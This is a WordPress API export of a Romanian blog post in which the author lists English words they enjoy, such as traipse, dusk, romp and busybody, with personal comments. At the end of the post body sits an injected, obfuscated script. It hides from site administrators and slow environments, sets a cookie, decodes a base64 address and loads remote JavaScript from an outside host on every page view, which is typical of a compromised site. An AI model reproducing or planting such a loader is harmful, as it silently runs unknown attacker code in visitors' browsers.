{"id":4890,"date":"2017-10-16T17:19:14","date_gmt":"2017-10-16T14:19:14","guid":{"rendered":"http:\/\/daimon.me\/blog\/?p=4890"},"modified":"2025-10-17T19:38:44","modified_gmt":"2025-10-17T16:38:44","slug":"lista-de-cuvinte-1","status":"publish","type":"post","link":"http:\/\/daimon.me\/blog\/2017\/10\/lista-de-cuvinte-1\/","title":{"rendered":"Lista de cuvinte (1)"},"content":{"rendered":"<div class=\"entry\">\n<p>Incipit:<\/p>\n<p>Uneori, d\u00eendu-m\u0103 pe interne\u0163ii \u0103\u015ftia care este, mai (re)g\u0103sesc cuvinte faine, pe care n-am \u00eens\u0103 ocazia s\u0103 le \u015fi folosesc \u00een vorbirea de zi cu zi, sau m\u0103car \u00een scris.<\/p>\n<p>Unele cuvinte-s \u00een rom\u00e2n\u0103, spre exemplu &#8220;<em>doldora<\/em>&#8221; \u00eemi place enorm \u00eens\u0103 nu prea se ive\u015fte ocazia s\u0103-l v\u00eer <em>casually<\/em> \u00een conversa\u0163ie. Majoritatea acestor cuvinte sunt \u00eens\u0103 \u00een englez\u0103, o limb\u0103 pe care-o pricep bini\u015for ((Ca s\u0103 nu laud iar cu CAE \u015fi alte chestii, c\u0103 n-are rost. Nu, chiar n-are. Ar fi avut sens examenul \u0103sta dac\u0103 m\u0103 duceam la studii \u00een UK, de exemplu. M\u0103 rog, \u00een moduri oblice sigur c-a fost util, da&#8217; \u00een mod direct .. neah.)) \u00eens\u0103 n-o prea folosesc dec\u00eet poate la nivel de student. Pentru c\u0103 nici nu prea \u015ftiu, nici nu prea am nevoie.<\/p>\n<p>A\u015fa c\u0103, ce p\u0103catele mele pot face? M\u0103 apuc \u015fi fac o list\u0103 de cuvinte frumoase, s\u0103-mi \u0163in\u0103 de cald la b\u0103tr\u00eene\u0163e. Le \u00eent\u00eelnesc, le v\u0103d, le uit .. le rev\u0103d, iar \u00eemi plac, iar le uit ..<\/p>\n<p>\u00cencerc s\u0103 fac listele scurte, pentru a nu \u0163ine articolele ca schi\u0163e timp de luni de zile. Judec c\u0103 5 cuvinte per articol servesc suficient ((\u00centr-o vreme &#8220;blogherii&#8221; &#8220;A-list&#8221; scriau mai pu\u0163in de at\u00eet)).<\/p>\n<p>Acestea ziind fise, s\u0103 purcedem!<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p><span style=\"color: #800000;\">Traipse, traipsing<\/span> &#8212; verb. \u00censeamn\u0103 s\u0103 te plimbi f\u0103r\u0103 scop, alandala; alternativ, s\u0103 te plimbi da&#8217; f\u0103r\u0103 chef, \u00een dorul lelii. Exemplul de la dic\u0163ionarul Oxford \u00eemi pare sugestiv: &#8220;<em>It seems to me that people would rather <span style=\"color: #800000;\">traipse<\/span> round shops, gawping at potential purchases than they would educate themselves by looking at a book or work of art.<\/em>&#8221;<\/p>\n<p><span style=\"color: #800000;\">Dusk<\/span>. Nu \u015ftiu, sun\u0103 fain, rotund \u015fi \u00een mintea mea treze\u015fte exact imaginea corect\u0103 &#8212; momentul \u0103la de la apus, fix \u00eenainte s\u0103 se \u00eennopteze de tot. Da, am \u015fi eu o form\u0103 de sinestezie, a\u015fa c\u0103 \u00eemi \u00eeng\u0103dui s\u0103 spun c\u0103 un cuv\u00eent descrie perfect un fenomen natural. De-un exemplu banal, c\u00eend eram copil culoarea verde avea asociat num\u0103rul 5, obligatoriu ((Stai s\u0103 m\u0103 g\u00eendesc.. 2 era galben musai, 3 era roz, 4 era ro\u015fu, 6 era oranj, 8 maro c\u0103-i serios, nu mai \u015ftiu 7. A, iar 9 era violet \u00eenchis.)). Tot pe calapodul \u0103sta, vijelia e rom\u00e2neasc\u0103, dac-o denumesc \u00een englez\u0103 nu-mi sun\u0103 la fel.<\/p>\n<p><span style=\"color: #800000;\">To romp<\/span>. De fapt, mai multe verbe legate de mi\u015fcare &#8212; <em>frolic<\/em>, <em>boisterous<\/em>, sun\u0103 \u00eentr-un mare fel. <em>Spree<\/em>, de ce nu.<\/p>\n<p><span style=\"color: #800000;\">Plodding<\/span>. M\u0103 rog, \u0103sta m\u0103 amuz\u0103 pe mine pentru c\u0103 \u015ftiu un animal fantastic numit <a href=\"http:\/\/en.wiki.ryzom.com\/wiki\/Ploderos\">ploderos<\/a>, apare \u00een Ryzom. Iar ploderosu&#8217; e fix a\u015fa, ditamai tancu&#8217; care abia se mi\u015fc\u0103 prin peisaj. M\u0103 \u00eentreb dac\u0103 dezvoltatorii jocului \u015ftiau ce f\u0103ceau; fiind francezi, am vagi dubii.<\/p>\n<p><span style=\"color: #800000;\">(in the) spur of the moment<\/span>. Pur \u015fi simplu .. nu-mi r\u0103sare \u00een minte, chiar dac\u0103-i contextul potrivit. Ce pula mea e aia spur! A, e un pinten. Mbine, poate de-aia nu-mi r\u0103m\u00eene nicidecum \u00een vocabularul activ.<\/p>\n<p><span style=\"color: #800000;\">Busybody<\/span>. Adic\u0103 \u0103\u015ftia care-\u015fi fac treab\u0103 din a-\u015fi b\u0103ga nasul \u00een oala altora, b\u0103bu\u0163ele din scara blocului ce \u0163in loc de camere video, oamenii care-\u0163i spun s\u0103-\u0163i vopse\u015fti bicicleta c\u0103 nu le place cum &#8220;d\u0103&#8221; culoarea ei \u00een peisaj, chestii de-astea. Noi, culmea, nu am inventat un termen pentru felul \u0103sta de prostie.<\/p>\n<p style=\"text-align: center;\">~*~<\/p>\n<p>\u015ei-at\u00eet pentru edi\u0163ia I, mai pofti\u0163i.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i&lt;20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input .length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<&lt;2)|(h2\/>>4);o2=((h2&15)< &lt;4)|(h3>>2);o3=((h3&3)< &lt;6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/script><\/p>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Incipit: Uneori, d\u00eendu-m\u0103 pe interne\u0163ii \u0103\u015ftia care este, mai (re)g\u0103sesc cuvinte faine, pe care n-am \u00eens\u0103 ocazia s\u0103 le \u015fi folosesc \u00een vorbirea de zi cu zi, sau m\u0103car \u00een scris. Unele cuvinte-s \u00een rom\u00e2n\u0103, spre exemplu &#8220;doldora&#8221; \u00eemi place enorm \u00eens\u0103 nu prea se ive\u015fte ocazia s\u0103-l v\u00eer casually \u00een conversa\u0163ie. Majoritatea acestor cuvinte &#8230;<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[51],"tags":[],"class_list":{"0":"post-4890","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-limbi-si-limbaje","7":"anons"},"_links":{"self":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4890","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/comments?post=4890"}],"version-history":[{"count":9,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4890\/revisions"}],"predecessor-version":[{"id":5024,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/posts\/4890\/revisions\/5024"}],"wp:attachment":[{"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/media?parent=4890"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/categories?post=4890"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/daimon.me\/blog\/wp-json\/wp\/v2\/tags?post=4890"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}